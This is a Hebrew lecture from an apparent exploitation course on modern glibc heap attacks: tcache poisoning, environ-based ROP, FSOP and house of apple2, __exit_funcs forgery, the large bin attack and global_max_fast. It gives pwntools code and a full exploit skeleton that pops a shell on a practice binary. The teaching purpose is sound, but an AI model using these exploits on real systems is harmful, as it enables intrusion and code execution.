7.6 תקיפות tcache וfastbin מודרניות הרצאה
בשיעורים הקודמים של הפרק בנינו את הפרימיטיב: ב-7.3 למדנו tcache poisoning, ב-7.4 את תקיפת ה-unlink, וב-7.5 את משפחת ה-House of. בכל אחד מהם השגנו בסוף אותו דבר יקר ערך - היכולת לגרום ל-malloc להחזיר מצביע לכתובת שאנחנו בוחרים, כלומר כתיבה שרירותית לזיכרון. אבל כאן מתחילה השאלה האמיתית של exploit heap מודרני: יש לי כתיבה שרירותית, על מה אני כותב כדי לקבל הרצת קוד? עד glibc 2.33 התשובה הייתה קלה וכמעט משעממת - כותבים על __free_hook. בגרסה 2.34 ההוקים האלה נמחקו מ-libc, ומאז כל תוקף heap חייב להכיר ארסנל של מטרות חלופיות. השיעור הזה הוא הארסנל הזה: FSOP דרך מבני FILE מזויפים, כתיבת chain ROP למחסנית דרך environ, דריסת מטפלי היציאה, תקיפת large bin, ו-global_max_fast. נלמד מה עובד על איזו גרסה, ולמה.
מאיפה מתחילים - הפרימיטיב של tcache poisoning¶
לפני שנדבר על מטרות, בואו נגדיר במדויק מה יש לנו ביד אחרי 7.3. הפרימיטיב הבסיסי הוא זה: אם יש לנו חולשת Use-After-Free או double-free על chunk קטן, אנחנו יכולים לדרוס את שדה ה-fd של chunk ששוחרר ל-tcache. שני malloc באותו גודל אחר כך יחזירו קודם את ה-chunk המקורי ואז את הכתובת שכתבנו ב-fd. כלומר:
tcache bin (size 0x40):
head -> A -> [ A's fd is overwritten to address T ]
malloc() first -> returns A
malloc() second -> returns T (the address we chose)
מרגע ש-malloc החזיר מצביע ל-T, כל קריאה/כתיבה ל-chunk הזה היא קריאה/כתיבה ל-T. זו כתיבה שרירותית לכתובת שאנחנו שולטים בה. שימו לב לשני סייגים מודרניים שלמדנו ב-7.3 ושילוו אותנו כאן:
- החל מ-glibc 2.32 יש safe-linking: שדה ה-
fdנשמר מעורבב,fd = target XOR (chunk_addr >> 12). כדי לזייף אותו צריך לדעת את כתובת ה-chunk (leak heap), ואז לכתובtarget XOR (chunk_addr >> 12). - החל מ-2.32 יש גם בדיקת alignment: הכתובת שמוחזרת חייבת להיות aligned ל-16 בתים, אחרת
mallocיזרוקmalloc(): unaligned tcache chunk detected. לכן כשבוחרים מטרהTצריך שתהיה aligned ל-16.
הנחות ההגנה לכל השיעור: NX פעיל (אין הרצה מהמחסנית או ה-heap), ASLR פעיל (בסיס libc אקראי - לכן נצטרך leak), ואין canary או שאיננו נוגעים בו. מצב ה-RELRO לא ישנה לנו הרבה, כי אף אחת מהמטרות כאן איננה ה-GOT. בכל דוגמה נניח שכבר יש בידינו leak libc, כי בלי בסיס libc אף אחת מהכתובות האלה איננה ידועה.
העולם הישן - __malloc_hook ו__free_hook¶
עד glibc 2.33 כללה libc שני מצביעי פונקציה גלובליים: __malloc_hook ו-__free_hook. הרעיון המקורי היה דיבוג - להחליף את התנהגות ההקצאה. אבל בשביל תוקף אלה היו המתנה המושלמת: מצביע פונקציה כתיב בכתובת ידועה ב-libc, שנקרא אוטומטית.
הזהב האמיתי היה __free_hook, כי free(ptr) מבצע בפועל __free_hook(ptr) - כלומר קורא להוק כשה-rdi כבר מכיל את הארגומנט של free. אם נכתוב __free_hook = system ואז נשחרר chunk שמכיל את המחרוזת "/bin/sh", נקבל system("/bin/sh") בחינם:
libc.address = leak - libc.sym['puts'] # libc base from an earlier leak
system = libc.sym['system']
free_hook = libc.sym['__free_hook']
# tcache poisoning: allocate a chunk over __free_hook
alloc_over(free_hook) # malloc returned a pointer to __free_hook
write_over(p64(system)) # __free_hook = system
# prepare a chunk containing "/bin/sh\0" and free it
idx = add(0x20, b"/bin/sh\0")
delete(idx) # free("/bin/sh") -> system("/bin/sh")
זה עבד בצורה מושלמת מ-2.26 ועד 2.33. לכן, אם אתם exploiting binary שרץ על 2.27 עד 2.31 (מאוד נפוץ ב-CTF וב-Ubuntu 18.04 / 20.04), זו עדיין התשובה הפשוטה ביותר, ואין סיבה להתאמץ יותר. בכל שאר השיעור נניח שההוקים כבר לא קיימים, כי זה המצב שמכריח אותנו ללמוד את שאר הארסנל.
מה השתנה - הסרת ההוקים בglibc 2.34¶
בגרסה 2.34 (יצאה באוגוסט 2021, ומגיעה עם Ubuntu 21.10) מפתחי glibc הסירו את __malloc_hook, __free_hook, __realloc_hook ו-__memalign_hook. הם היו אבן שואבת לתוקפים ולא נתנו ערך אמיתי למשתמשים חוקיים. הסמלים עדיין קיימים לתאימות בינארית, אבל malloc ו-free כבר לא קוראים אליהם - כתיבה עליהם פשוט לא עושה כלום.
זו נקודת המפנה של הפרק. מ-2.34 ואילך, כתיבה שרירותית שהשגנו מ-tcache poisoning כבר לא מתורגמת ישירות להרצת קוד. אנחנו צריכים מטרה שעדיין נקראת אוטומטית על ידי הזרימה הרגילה של התוכנית. יש כמה כאלה, וכולן מסתמכות על אותו רעיון: למצוא בזרימה הרגילה מקום שבו libc קוראת דרך מצביע שאנחנו יכולים לדרוס.
the sequence called automatically in every program:
exit() / return from main
|
+--> __run_exit_handlers ---> calls pointers from __exit_funcs (target 3)
|
+--> _IO_cleanup -> _IO_flush_all
|
+--> for every FILE in _IO_list_all: calls vtable->__overflow (target 2, FSOP)
וגם מטרה שאיננה קשורה ל-exit בכלל: לכתוב chain ROP ישר על המחסנית של הפונקציה שרצה עכשיו, דרך leak כתובת מחסנית מ-environ (מטרה 1). נעבור על כולן.
מטרה 1 - כתיבת chain ROP למחסנית דרך environ¶
זו לדעתי המטרה הכי אמינה ואינטואיטיבית אחרי מות ההוקים, והיא עובדת על כל גרסה - 2.27 ועד 2.39 - כי היא לא נשענת על שום פרט פנימי של malloc. הרעיון: יש לנו כתיבה שרירותית, אז נכתוב chain ROP ישירות על הreturn address של פונקציה שנמצאת כרגע על המחסנית. כשהפונקציה תחזור, הchain תרוץ.
הבעיה היחידה: ASLR מזיז את המחסנית בכל הרצה, אז אנחנו לא יודעים לאן לכתוב. כאן נכנס environ. ב-libc יש סמל גלובלי בשם environ (הוא __environ), שמכיל מצביע למערך משתני הסביבה, ומערך זה יושב גבוה על המחסנית. כלומר, אם נקרא 8 בתים מהכתובת libc.sym['environ'], נקבל כתובת מחסנית אמיתית של ההרצה הנוכחית:
libc (known address after a leak) the stack (random from ASLR)
+---------------------------+ +--------------------------+
| environ: 0x7fff.....f28 -+---------> | envp[0] -> "PATH=..." | <- high address
+---------------------------+ | ... |
| saved return addr of main| <- this is where we want to write
| ... |
+--------------------------+
התהליך המלא, בשני שלבים של הפרימיטיב:
- tcache poisoning ראשון: מקצים chunk מעל
libc.sym['environ'], קוראים אותו, ומקבלים כתובת מחסנית. נקרא להstack_leak. - מחשבים את כתובת הreturn address שאנחנו רוצים לדרוס:
target = stack_leak - delta. את ה-deltaהקבוע (המרחק ביןenvironלבין ה-saved RIP של הפונקציה שתחזור) מוצאים פעם אחת ב-gdb, והוא זהה בכל הרצה כי המרחק בין שתי כתובות על אותה מחסנית קבוע. - tcache poisoning שני: מקצים chunk מעל
target, וכותבים לשם chain ROP.
הchain עצמה היא ret2libc קלאסי כמו שלמדנו בפרק 4, כי NX מונע shellcode:
rop = ROP(libc)
chain = flat(
rop.find_gadget(['ret'])[0], # alignment to 16 bytes for movaps in system
rop.find_gadget(['pop rdi', 'ret'])[0],
next(libc.search(b'/bin/sh\x00')),
libc.sym['system'],
)
write_over(target, chain) # overwrite the saved RIP + whatever follows it
# when the function returns -> pop rdi; ret; system("/bin/sh") -> shell
איך מוצאים את ה-delta? מריצים ב-gdb, עוצרים בתוך פונקציית הקלט, ומשווים:
pwndbg> p/x (long)environ # e.g. 0x7fffffffe1a8
pwndbg> stack 40 # locate main's saved RIP in the frame
pwndbg> # assume it's at 0x7fffffffe088
# delta = 0x7fffffffe1a8 - 0x7fffffffe088 = 0x120
חשוב: המטרה חייבת להיות saved RIP של פונקציה שתחזור אחרי שסיימנו לכתוב. בתפריט heap טיפוסי, טוב לכוון ל-saved RIP של הפונקציה שקוראת את הקלט, או להריץ עוד סבב ולתת ל-main לחזור. זו הדרך הכי נקייה ל-shell, בלי להתעסק במבנים פנימיים של libc.
מטרה 2 - תקיפת מבני FILE ושרשור vtable - FSOP¶
הטכניקה FSOP, קיצור של File Stream Oriented Programming, exploits את מבני ה-FILE של libc. כל זרם (stdout, stderr, וכל FILE*) הוא מבנה _IO_FILE, ובסופו מצביע ל-vtable - טבלת פונקציות וירטואליות. פעולות כמו fwrite, puts ו-fflush קוראות דרך ה-vtable, למשל fp->vtable->__overflow(fp). אם נשלוט בתוכן ה-FILE וב-vtable שלו, נשלוט לאן הקריאה הזו קופצת.
הleak המהירה דרך IO_2_1_stdout¶
לפני RCE, שווה להכיר את השימוש הכי קל ב-FSOP - leak כתובות. אם יש לנו כתיבה על _IO_2_1_stdout_ (מבנה ה-FILE של stdout, סמל ידוע ב-libc), אפשר לגרום ל-puts/printf הבא לleak זיכרון. הטריק: מדליקים בשדה _flags את הביט 0xfbad1800 ומאפסים את הבית התחתון של _IO_write_base, כך ש-stdout ידפיס את כל התחום מ-_IO_write_base עד _IO_write_ptr:
fake = FileStructure()
fake.flags = 0xfbad1800
fake._IO_read_end = libc.sym['_IO_2_1_stdout_'] # alignment
fake._IO_write_base = 0 # zero the low byte -> prints backward
fake._IO_write_ptr = 0xffffffff
write_over(libc.sym['_IO_2_1_stdout_'], bytes(fake))
# the next puts will print bytes from memory -> libc / stack leak
הספרייה pwntools נותנת את FileStructure() בדיוק בשביל זה, כדי לא לספור offsets ידנית. זו דרך נהדרת להשיג leak כשאין view נוח בתוכנית.
הרצת קוד בעת יציאה - house of apple2¶
לקבל RCE דרך FSOP קשה יותר, כי מאז glibc 2.24 יש בדיקת vtable: _IO_vtable_check מוודא שמצביע ה-vtable נופל בתוך המקטע __libc_IO_vtables. אי אפשר יותר סתם להצביע את ה-vtable לכתובת שרירותית. הפתרון המודרני, שנקרא house of apple2 ועובד מצוין על 2.34 ו-2.35, exploits vtable חוקי אבל מסלול שבסופו קפיצה דרך מצביע שאיננו נבדק.
הרעיון: הזרימה של exit() מגיעה ל-_IO_flush_all_lockp, שרצה על כל FILE ב-_IO_list_all, ולכל אחד קוראת _IO_OVERFLOW. נזייף FILE ונצביע את ה-vtable שלו ל-_IO_wfile_jumps (vtable חוקי שעובר את הבדיקה). אצל ה-vtable הזה __overflow הוא _IO_wfile_overflow, שבתנאים מסוימים קורא ל-_IO_wdoallocbuf, שקורא ל-fp->_wide_data->_wide_vtable->__doallocate(fp). ה-_wide_vtable הזה לא נבדק. אם נצביע אותו למבנה מזויף שבו __doallocate = system, ונדאג שתחילת ה-FILE תכיל "/bin/sh", נקבל system("/bin/sh").
_IO_list_all --> fake FILE (in our buffer)
+------------------------------------------+
| _flags = " /bin/sh" (both flags and string) |
| _IO_write_base = 0, _IO_write_ptr = 1 | <- so that flush calls overflow
| _wide_data ---------> fake wide_data |
| vtable = _IO_wfile_jumps (legit, passes the check)|
+------------------------------------------+
fake wide_data:
_IO_write_base = 0
_wide_vtable ---> fake vtable
__doallocate = system <- not checked!
בפועל עם pwntools זה נראה כך (הכתובות יחסיות לבסיס libc שכבר דלפנו, ו-fake יושב ב-chunk שאנחנו שולטים בכתובתו):
fake_addr = heap_chunk_we_control # address of the fake FILE
wide_addr = fake_addr + 0x100 # wide_data inside the same buffer
wide_vtable = fake_addr + 0x200
payload = p64(u64(b' /bin/sh')) # _flags with /bin/sh inside
payload += p64(0)*6
payload = payload.ljust(0x28, b'\x00')
payload += p64(0) + p64(1) # _IO_write_base=0, _IO_write_ptr=1
payload = payload.ljust(0xa0, b'\x00')
payload += p64(wide_addr) # _wide_data
payload = payload.ljust(0xd8, b'\x00')
payload += p64(libc.sym['_IO_wfile_jumps']) # legit vtable -> _IO_wfile_overflow
# fake wide_data
wide = p64(0)*3 # _IO_write_base = NULL to trigger the allocation
wide = wide.ljust(0xe0, b'\x00')
wide += p64(wide_vtable) # _wide_vtable
# fake vtable: __doallocate at offset 0x68
vt = b'\x00'*0x68 + p64(libc.sym['system'])
# write the three parts to our buffer, then overwrite _IO_list_all
write_over(libc.sym['_IO_list_all'], p64(fake_addr))
trigger_exit() # exit -> flush -> system("/bin/sh")
הבדיקה שכדאי לזכור: _IO_wfile_overflow דורש ש-_flags לא יכיל את הביט _IO_NO_WRITES (0x8), ושה-_wide_data->_IO_write_base יהיה NULL כדי שהמסלול יגיע לפונקציית ההקצאה. את _IO_write_ptr > _IO_write_base צריך כדי ש-_IO_flush_all_lockp בכלל יקרא ל-overflow. אם תזכרו את שלושת התנאים, תוכלו לבנות את המבנה מזיכרון.
מטרה 3 - דריסת מטפלי היציאה - __exit_funcs¶
כשתוכנית קוראת ל-exit() (או main מבצע return), libc מריצה את __run_exit_handlers, שעוברת על רשימה מקושרת של מטפלים שנרשמו דרך atexit. הרשימה מתחילה במבנה initial שאליו מצביע __exit_funcs. כל כניסה מכילה מצביע פונקציה שנקרא בסוף.
נשמע כמו מטרה מושלמת לכתיבה, אבל יש מלכודת: המצביעים האלה מעורבבים ב-PTR_MANGLE. לפני שקוראים למצביע, libc מבצעת PTR_DEMANGLE:
ror rax, 0x11 ; rotate right by 17 bits
xor rax, fs:[0x30] ; xor with the pointer guard from the TLS
ה-fs:[0x30] הוא ה-pointer guard, ערך אקראי שנקבע באתחול התהליך. כדי לכתוב מצביע שיפוענח לכתובת המטרה שלנו, אנחנו צריכים לחשב הפוך: mangled = (target XOR guard) מסובב שמאלה 17. אבל בשביל זה חייבים לדעת את ה-guard, שהוא אקראי. יש שתי דרכים:
- אם יש לנו כתיבה שרירותית ל-TLS, אפשר פשוט לאפס את
fs:[0x30]. אז PTR_DEMANGLE הופך ל-rorבלבד, ואנחנו יכולים לזייף מצביע בקלות (מסובבים את המטרה שמאלה 17). זו הגישה הנקייה. - אם יש לנו leak של ה-guard, מחשבים
mangledישירות.
guard = leaked_pointer_guard # from fs:0x30, if we managed to leak it
def mangle(ptr):
return rol(ptr ^ guard, 0x11, 64)
fake_funcs = flat({
0x8: 1, # count = 1
0x18: 4, # flavor = ef_cxa (4)
0x20: mangle(libc.sym['system']), # the function pointer
0x28: next(libc.search(b'/bin/sh\x00')), # the argument (rdi)
})
# allocate over __exit_funcs and point it to our structure, or write the structure itself
write_over(libc.sym['__exit_funcs'], p64(addr_of_fake_funcs))
trigger_exit()
המטרה הזו טובה כשיש לנו דרך לדלוף או לאפס את ה-guard. אם אין, house of apple2 (מטרה 2) עדיפה כי היא לא נתקלת ב-PTR_MANGLE כלל.
מטרה 4 - תקיפת large bin לכתיבה מבוקרת¶
עד עכשיו הנחנו שיש לנו כתיבה שרירותית מוכנה. תקיפת ה-large bin נותנת פרימיטיב נוסף וחשוב: כתיבה של כתובת heap שאנחנו שולטים בה לכתובת שרירותית. היא exploits את הקוד ב-_int_malloc שמכניס chunk ל-large bin ומעדכן את רשימת הדילוגים fd_nextsize/bk_nextsize בלי אימות מלא.
התסריט: משחררים chunk גדול p1 (מעל 0x410, כך שילך ל-unsorted ולא ל-tcache), מקצים משהו גדול יותר כדי לדחוף אותו ל-large bin. עכשיו יש לנו UAF על p1 ב-large bin. משחררים chunk גדול שני p2, מעט קטן מ-p1. כשהוא נכנס, glibc מבצע בין השאר:
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize->fd_nextsize = victim; // <-- the write we hijack
אם דרסנו את p1->bk_nextsize לערך target - 0x20 (0x20 הוא ההיסט של fd_nextsize), אז השורה השנייה כותבת את כתובת p2 לתוך target:
קיבלנו כתיבה של 8 בתים (כתובת heap, שהיא מספר גדול) לכתובת שבחרנו. לבד זה לא RCE, אבל זה בדיוק מה שצריך כדי להתניע מטרות אחרות: לדרוס _IO_list_all כך שיצביע ל-chunk שלנו (ומשם house of orange / FSOP), או לדרוס את global_max_fast (מטרה 5). תקיפת large bin שרדה עם התאמות קלות עד glibc 2.35, ולכן היא כלי מפתח כשאין UAF נוח על chunk קטן.
מטרה 5 - הגדלת global_max_fast¶
global_max_fast הוא משתנה גלובלי ב-libc שקובע מהו הגודל המקסימלי שנחשב fastbin. כברירת מחדל הוא קטן (בערך 0x80). מה קורה אם נדרוס אותו בערך ענק, למשל כתובת heap שקיבלנו מתקיפת large bin? פתאום כמעט כל גודל של chunk נחשב fastbin. זה פותח מחדש את כל משפחת תקיפות ה-fastbin, אבל עכשיו על גדלים שרירותיים.
הכוח בזה: fastbin משתמש ברשימת bins שממופה לפי גודל ה-chunk. אם כל גודל הוא fastbin, אנחנו יכולים לזייף chunk ב-fd שמצביע קרוב למבנה main_arena או ל-libc, לשחרר אותו, ולגרום ל-fastbin להצביע לכתובת שנבחר. malloc באותו גודל יחזיר לנו chunk בלב libc. זו הופכת את הכתיבה החד-פעמית של תקיפת large bin לכתיבה שרירותית כללית.
before: global_max_fast = 0x80 -> only small chunks are fastbins
after: global_max_fast = 0x5555... (a huge heap address)
-> freeing a chunk of any size -> goes into a fastbin
-> fastbin poisoning on large sizes -> alloc anywhere
בפועל global_max_fast היא מטרת ביניים - אף אחד לא דורס אותה כדי לקבל shell ישירות, אלא כדי לפתוח פרימיטיב חזק יותר. שווה להכיר אותה כי היא מופיעה הרבה בchains exploit ארוכות, במיוחד כשהחולשה נותנת רק גדלים גדולים.
איך בוחרים מטרה - טבלת החלטה לפי גרסה¶
אין מטרה אחת נכונה. הבחירה תלויה בגרסת glibc, בסוג החולשה, ובמה כבר leaked. הנה מפה מעשית:
| גרסת glibc | הוקים? | מטרה מומלצת ראשונה | מטרה חלופית |
|---|---|---|---|
| 2.27 - 2.31 | קיימים | __free_hook = system |
environ -> ROP |
| 2.32 - 2.33 | קיימים (עם safe-linking ב-tcache) | __free_hook = system |
environ -> ROP |
| 2.34 | הוסרו | environ -> ROP | house of apple2 |
| 2.35 - 2.39 | הוסרו | house of apple2 / environ -> ROP | __exit_funcs (אם leaked guard) |
כמה כללי אצבע:
- אם יש UAF/כתיבה נוחים ואתם על 2.31 ומטה: לכו על __free_hook, אל תסבכו.
- אם אתם על 2.34+ ויש view שנותן leak מחסנית או ש-environ נגיש: environ -> ROP הכי אמין ופחות תלוי בפרטי libc.
- אם היציאה מהתוכנית מובטחת (exit או return מ-main) ואין לכם מחסנית לכתוב עליה: house of apple2 דרך _IO_list_all.
- אם החולשה נותנת רק chunks גדולים: תקיפת large bin -> global_max_fast -> fastbin arbitrary write, ומשם לאחת המטרות למעלה.
שלד exploit מלא - tcache poisoning אל environ¶
נסגור עם שלד מלא ורץ שמדגים את המסלול הכי אמין למות ההוקים: tcache poisoning על 2.31+ שמוביל לכתיבת ROP למחסנית דרך environ. השלד מניח binary עם תפריט heap (add/edit/view/delete) עם UAF, כמו שנבנה בתרגול.
from pwn import *
context.binary = elf = ELF('./notes')
libc = ELF('./libc.so.6')
p = process('./notes')
def add(i, sz, data): ... # trigger the menu operations
def edit(i, data): ...
def view(i): ...
def delete(i): ...
SAFE_LINKING = True # True for 2.32+, False for 2.31 and below
def mangle(pos, ptr):
return (ptr ^ (pos >> 12)) if SAFE_LINKING else ptr
# --- Stage 1: libc leak via unsorted bin ---
add(0, 0x500, b'A') # large chunk (above tcache max)
add(1, 0x20, b'guard') # prevents merging with top
delete(0) # -> unsorted bin, fd/bk point to main_arena
view(0)
main_arena = u64(p.recv(8).ljust(8, b'\x00'))
libc.address = main_arena - (libc.sym['main_arena'] + 96)
log.success(f'libc base: {hex(libc.address)}')
# --- Stage 2: heap leak (needed for safe-linking) ---
add(2, 0x20, b'B')
add(3, 0x20, b'C')
delete(2); delete(3) # both to tcache 0x30
view(3) # the head's fd is masked: heap>>12
heap = u64(p.recv(8).ljust(8, b'\x00')) << 12
log.success(f'heap base: {hex(heap)}')
# --- Stage 3: first poisoning - allocate over environ and read the stack address ---
add(4, 0x40, b'D')
add(5, 0x40, b'E')
delete(4); delete(5)
chunk5 = heap_addr_of(5) # address of the chunk at idx 5 (from gdb/calculation)
edit(5, p64(mangle(chunk5, libc.sym['environ'])))
add(6, 0x40, b'X') # pops out 5
add(7, 0x40, b'\x00'*8) # returned over environ
view(7)
stack_leak = u64(p.recv(8).ljust(8, b'\x00'))
ret_addr = stack_leak - 0x120 # delta measured once in gdb
log.success(f'saved RIP at: {hex(ret_addr)}')
# --- Stage 4: second poisoning - allocate over the saved RIP and write ROP ---
add(8, 0x40, b'F')
add(9, 0x40, b'G')
delete(8); delete(9)
chunk9 = heap_addr_of(9)
edit(9, p64(mangle(chunk9, ret_addr)))
add(10, 0x40, b'Y')
rop = ROP(libc)
chain = flat(
rop.find_gadget(['ret'])[0],
rop.find_gadget(['pop rdi', 'ret'])[0],
next(libc.search(b'/bin/sh\x00')),
libc.sym['system'],
)
add(11, 0x40, chain) # written over the saved RIP -> shell when the function returns
p.interactive()
הכל כאן נשען רק על דברים שקבועים בין הרצות: offsets בתוך libc (environ, system), ה-delta שבין environ ל-saved RIP, וההתנהגות הבסיסית של tcache. שום דבר לא נשען על ההוקים. לכן זה המסלול שיעבוד לכם על הגרסאות החדשות.
סיכום¶
- אחרי tcache poisoning יש לנו כתיבה שרירותית, אבל השאלה האמיתית היא על מה כותבים כדי לקבל הרצת קוד.
__free_hook/__malloc_hookהיו המטרה הקלה עד 2.33, ונמחקו ב-2.34. מאז צריך ארסנל מטרות.- מטרה 1 - environ: קוראים כתובת מחסנית, כותבים chain ROP על saved RIP. אמין ובלתי תלוי בגרסה.
- מטרה 2 - FSOP: מזייפים
_IO_FILE. לleak -_IO_2_1_stdout_. ל-RCE על 2.34+ - house of apple2 דרך_IO_wfile_jumpsוה-_wide_vtableשלא נבדק. - מטרה 3 - __exit_funcs: מצביעי היציאה מעורבבים ב-PTR_MANGLE, צריך לדלוף או לאפס את ה-pointer guard.
- מטרה 4 - large bin attack: כתיבת כתובת heap מבוקרת לכתובת שרירותית, מתניעה מטרות אחרות.
- מטרה 5 - global_max_fast: הופכת כל גודל ל-fastbin ופותחת מחדש fastbin arbitrary write.
- בחירת המטרה תלויה בגרסה, בחולשה, ובמה leaked. תמיד תתחילו מהמסלול הפשוט ביותר שהגרסה מאפשרת.